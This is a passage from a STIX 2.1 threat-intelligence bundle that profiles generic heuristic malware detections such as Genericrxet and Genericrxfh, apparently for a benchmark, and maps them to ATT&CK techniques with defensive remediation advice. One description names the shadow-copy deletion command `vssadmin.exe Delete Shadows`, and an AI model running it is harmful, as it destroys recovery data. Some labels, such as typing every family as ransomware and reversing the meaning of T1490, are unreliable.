      "source_ref": "malware--9a40622c-8523-5417-939d-e3ebbe8153d7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxer exhibits technique T1055 (Process Injection (A common trigger for heuristic detection engines))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70ed66cd-1e44-5b96-a52b-233d1290667b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a40622c-8523-5417-939d-e3ebbe8153d7",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxer exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (High entropy triggering generic alerts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ded6778-9f26-5bd3-aad9-d9f3e41823cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxet",
      "description": "<h3>Executive Summary</h3>\nGenericrxet is a heuristic identifier frequently used by security engines to flag generic Trojan or Ransomware behaviors. The \"rxet\" string often indicates the detection of suspicious extortion-like activity (e.g., rapid file encryption) or generic backdoor behavior before a specific malware family signature is available. It serves as an early-warning indicator of a severe, potentially zero-day threat.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware triggering this generic detection is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits), or as a secondary payload dropped by an initial access broker via a Cobalt Strike beacon.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Behavioral Anomalies:</strong> Genericrxet is flagged based on actions, not signatures. This includes rapid iteration through the filesystem, bulk renaming of files (often appending a random extension), or the deletion of Volume Shadow Copies (`vssadmin.exe Delete Shadows`).</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Command and Control:</strong> If acting as a loader or backdoor, Genericrxet typically attempts immediate, obfuscated communication (often via HTTPS on non-standard ports) to a C2 server to download its primary payload.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of a generic extortion or backdoor heuristic like Genericrxet is a \"Code Red\" security incident. It strongly suggests that a sophisticated threat actor has bypassed initial perimeter defenses and is actively executing malicious code, likely leading to imminent data encryption or exfiltration.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure, pivoting laterally, or encrypting network shares. Do not reboot, as this may trigger a destructive payload.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> Eradication requires an Endpoint Detection and Response (EDR) solution capable of terminating processes based on the malicious behaviors that triggered the heuristic alert.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the unknown nature of the specific threat, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Genericrxet",
        "Trojan.Heur.Genericrxet",
        "Win32/Genericrxet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d981609-2221-5a32-af67-bd463339228f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ded6778-9f26-5bd3-aad9-d9f3e41823cb",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxet exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57b92cda-c7b1-5964-8853-2b7290ee3718",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ded6778-9f26-5bd3-aad9-d9f3e41823cb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxet exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb7b096c-ceca-5961-8c92-35c9df38c10f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ded6778-9f26-5bd3-aad9-d9f3e41823cb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--873a8292-099c-5ea3-9cc3-6f9e2c48b2da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ded6778-9f26-5bd3-aad9-d9f3e41823cb",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxet exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f16c2b48-83db-582a-b7ec-7fdda8bb133a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxev",
      "description": "Trojan:Win32/Genericrxev is a generic, heuristic detection applied by Microsoft Defender to binaries exhibiting a broad range of malicious behaviors, primarily associated with downloading and executing secondary payloads. Because it is a generic signature, it catches numerous constantly-evolving threats that attempt to evade static detection.<br><br><b>Understanding Genericrxev</b><br>To an end-user, an infection is usually invisible until a secondary payload executes. For a security analyst, a Genericrxev alert indicates that the endpoint defense has successfully interrupted a dropper or downloader trojan before it could finalize its attack sequence. It frequently flags Initial Access Broker (IAB) tooling attempting to pull down ransomware or banking trojans.<br><br><b>Execution and Evasion Strategies</b><br>Threats flagged as Genericrxev are typically distributed via phishing emails (`T1566.001`) or drive-by downloads (`T1189`). They often utilize aggressive packing (`T1027.002`) to hide their true payload from static scans. Upon execution, they immediately attempt to establish persistence via the Registry Run keys (`T1547.001`) and initiate outbound HTTP/HTTPS connections to download their final payload (`T1105`), often attempting to inject this payload directly into a legitimate process like `svchost.exe` (`T1055`) to evade further detection.<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs include the presence of randomly named executables in the `%Temp%` or `%AppData%` directories and unexpected additions to the Registry Run keys. EDR telemetry will often show suspicious child processes spawning from `cmd.exe` or PowerShell. Network IoCs include sudden bursts of outbound HTTP traffic to recently registered or low-reputation domains immediately following the execution of an unknown file. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxev",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxev"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--feb195c8-78a4-5ca3-adc8-07e8e9540341",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f16c2b48-83db-582a-b7ec-7fdda8bb133a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxev exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2004ed48-c38a-58eb-99a2-c931b05ba17f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f16c2b48-83db-582a-b7ec-7fdda8bb133a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxev exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--789664ba-a0d8-5050-a5ba-e15560dc0ca0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f16c2b48-83db-582a-b7ec-7fdda8bb133a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxev exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa476f4f-fc90-5fef-a960-1c68e6f97115",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f16c2b48-83db-582a-b7ec-7fdda8bb133a",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxev exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19947e8e-b366-588a-80c7-5384af8b1d58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxew",
      "description": "Trojan:Win32/Genericrxew (or similar heuristically named detections) signifies that the antivirus engine has blocked a file not based on a specific, known signature, but because its behavior, structure, or origin heavily aligns with malicious patterns (`T1105`). This often indicates a newly compiled malware variant (zero-day), a heavily obfuscated dropper, or a polymorphic threat designed specifically to evade traditional static analysis.<br><br><b>Understanding Generic/Heuristic Detections</b><br>To an end-user, the experience is the same as a known malware block\u2014the file is quarantined. For a SOC analyst, a 'Genericrxew' alert demands investigation. Because the AV doesn't know *what* family the malware belongs to, the analyst must determine the malware's ultimate intent (e.g., was it trying to drop ransomware, steal credentials, or join a botnet?).<br><br><b>Execution and Behavioral Indicators</b><br>Generic detections are often triggered when a file attempts highly suspicious actions upon execution. These include attempting to inject code into legitimate processes like `explorer.exe` or `svchost.exe` (`T1055`), trying to write to protected registry keys (like Run keys for persistence) (`T1547.001`), or unpacking itself in memory and making immediate, anomalous outbound network connections (`T1027.002`). The AV engine observes this chain of events and terminates the process heuristically.<br><br><b>Indicators of Compromise (IoCs)</b><br>IoCs for generic detections are inherently behavioral rather than static. Security teams must rely on EDR telemetry to reconstruct the process tree. Look for the initial vector (e.g., an Office document spawning PowerShell or a command prompt) leading to the execution of the flagged executable. Network IoCs involve identifying the C2 infrastructure the malware attempted to contact before it was terminated. The file hash itself is an IoC, but may be unique to this specific attack (polymorphic). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxew",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxew"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1541d5a-588a-59b0-bfb4-f12936605cc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19947e8e-b366-588a-80c7-5384af8b1d58",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxew exhibits technique T1105 (Ingress Tool Transfer (The generic behavior of downloading a payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3509f875-aa3c-5d60-b43c-92bb2d840af2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19947e8e-b366-588a-80c7-5384af8b1d58",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxew exhibits technique T1055 (Process Injection (A common trigger for heuristic detection engines))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abe90eaf-3133-5e24-95b9-67805788e837",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19947e8e-b366-588a-80c7-5384af8b1d58",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxew exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (High entropy triggering generic alerts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f2ba8ae-9272-5d10-ba89-8faf501d7c26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxex",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxex\" is not a distinct malware family but a generic heuristic identifier utilized by various antivirus and endpoint protection platforms (EPP). It typically flags executable files that exhibit highly suspicious, ransomware-like, or trojan-like behaviors, despite lacking a precise signature match in the vendor's threat intelligence database.\n\n<h3>Behavioral Analysis and Heuristic Triggers</h3>\nSecurity engines apply the Genericrxex label when an application performs actions that are statistically unlikely to be legitimate. Common triggers include:\n<ul>\n<li><strong>API Hooking and Injection:</strong> Attempting to inject malicious code into critical system processes (e.g., `explorer.exe`, `lsass.exe`) to evade detection or escalate privileges.</li>\n<li><strong>Rapid File Modification:</strong> Engaging in high-speed, bulk file encryption or deletion across user directories, a strong indicator of ransomware activity.</li>\n<li><strong>Unusual Network Communications:</strong> Initiating outbound connections to known malicious IP subnets, Tor exit nodes, or utilizing non-standard ports to communicate with command-and-control (C2) servers.</li>\n</ul>\nBecause this is a generic detection, the underlying threat could be a novel zero-day exploit, a heavily mutated variant of a known trojan, or occasionally, a false positive caused by aggressively written legitimate software.\n\n<h3>Security Implications and Response</h3>\nA Genericrxex detection must be treated as a severe security incident until proven otherwise. It often indicates that an attacker has successfully bypassed primary defenses (like email filters) and executed a payload on the endpoint.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Immediately quarantine the affected machine from the corporate network to prevent lateral movement and contain potential ransomware propagation.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to a secure, isolated malware sandbox. Analyze the resulting behavioral report to identify the malware's true intent and generate accurate Indicators of Compromise (IOCs).</li>\n<li><strong>Threat Hunting:</strong> Utilize the identified IOCs (dropped files, registry changes, C2 IP addresses) to conduct a proactive threat hunt across the entire enterprise to ensure no other endpoints are compromised.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxex",
        "Heur.Genericrxex",
        "Riskware.Generic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4032700a-d84d-57b8-9160-7054c66e2871",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f2ba8ae-9272-5d10-ba89-8faf501d7c26",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxex exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52c3ff49-b29c-543f-b7ef-f76dccd32c1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f2ba8ae-9272-5d10-ba89-8faf501d7c26",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxex exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0e22762-b133-5144-bc1e-2dcafdb299c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f2ba8ae-9272-5d10-ba89-8faf501d7c26",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxex exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09aa3351-6f8e-5ed3-a917-496eb97603a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f2ba8ae-9272-5d10-ba89-8faf501d7c26",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxex exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3c2b8a6-b380-55af-83ab-41b0ca072299",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f2ba8ae-9272-5d10-ba89-8faf501d7c26",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8b556f99-00b9-5616-a182-9e8d4777a082",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfe",
      "description": "Trojan:Win32/Genericrxfe is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxfe (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxfe usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfe"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4098d5ce-0f12-5745-99f1-1d6f7f6081cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b556f99-00b9-5616-a182-9e8d4777a082",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfe exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef3bc8cd-e06d-50e8-943d-dd38a5a747bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b556f99-00b9-5616-a182-9e8d4777a082",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfe exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--682cabab-6c7b-5c3a-a0df-3b00be325dc8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b556f99-00b9-5616-a182-9e8d4777a082",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfe exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2181bf6b-85a9-5f3b-963f-29152f8916ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfh",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxfh\" is an automated, heuristic detection identifier utilized by endpoint protection platforms (EPP) to flag highly suspicious executables. It does not represent a named malware family (like Emotet or LockBit) but rather a behavioral pattern that strongly indicates the presence of a trojan, downloader, or obfuscated payload.\n\n<h3>Heuristic Triggers and Behavioral Analysis</h3>\nThe \"Genericrxfh\" label is applied when a file's behavior triggers a specific set of heuristic rules within an antivirus engine. These rules are designed to catch zero-day threats or heavily mutated malware that evades static signature detection.\n\nCommon behaviors that trigger a Genericrxfh detection include:\n<ul>\n<li><strong>Suspicious Packing:</strong> The executable is compressed or encrypted using custom, non-standard packers frequently utilized by malware authors to thwart reverse engineering.</li>\n<li><strong>Process Hollowing:</strong> The executable attempts to start a legitimate Windows process (e.g., `svchost.exe`) in a suspended state, hollow out its memory, and inject malicious code into the legitimate process space.</li>\n<li><strong>Anomalous Network Activity:</strong> The program attempts to communicate with IP addresses known to be associated with command-and-control (C2) botnets, or it attempts to download executable files (`.exe`, `.dll`) from unverified domains into temporary directories.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Genericrxfh alert must be treated as a high-priority incident. The generic nature of the alert means the underlying threat is unknown; it could be a relatively benign adware installer, or it could be the initial access dropper for a devastating ransomware attack.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the affected endpoint from the corporate network immediately to contain potential lateral movement and halt C2 communication.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Submit the flagged file to a secure malware sandbox. Analyze the resulting report to determine the malware's true capabilities, specifically looking for registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise Sweeps:</strong> Utilize the IOCs discovered during sandboxing to perform a proactive threat hunt across all enterprise endpoints, ensuring the generic threat has not propagated elsewhere.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxfh",
        "Heur.Genericrxfh",
        "Suspicious.Genericrxfh"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05584f9f-51d4-5ef9-8fa8-d0b40bf1c398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2181bf6b-85a9-5f3b-963f-29152f8916ab",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfh exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17430a74-c152-5b67-961f-c2aa93240f89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2181bf6b-85a9-5f3b-963f-29152f8916ab",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfh exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98bd53c4-1045-53cf-94f4-5c17326b735e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2181bf6b-85a9-5f3b-963f-29152f8916ab",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfh exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53e15ae2-0b19-5dcd-8498-e105244a28a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2181bf6b-85a9-5f3b-963f-29152f8916ab",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfh exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ceccfb81-d15e-56a5-b326-3a53d17f3df7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2181bf6b-85a9-5f3b-963f-29152f8916ab",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfh exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d095a557-e288-55ae-9909-5b0495523a8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2181bf6b-85a9-5f3b-963f-29152f8916ab",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
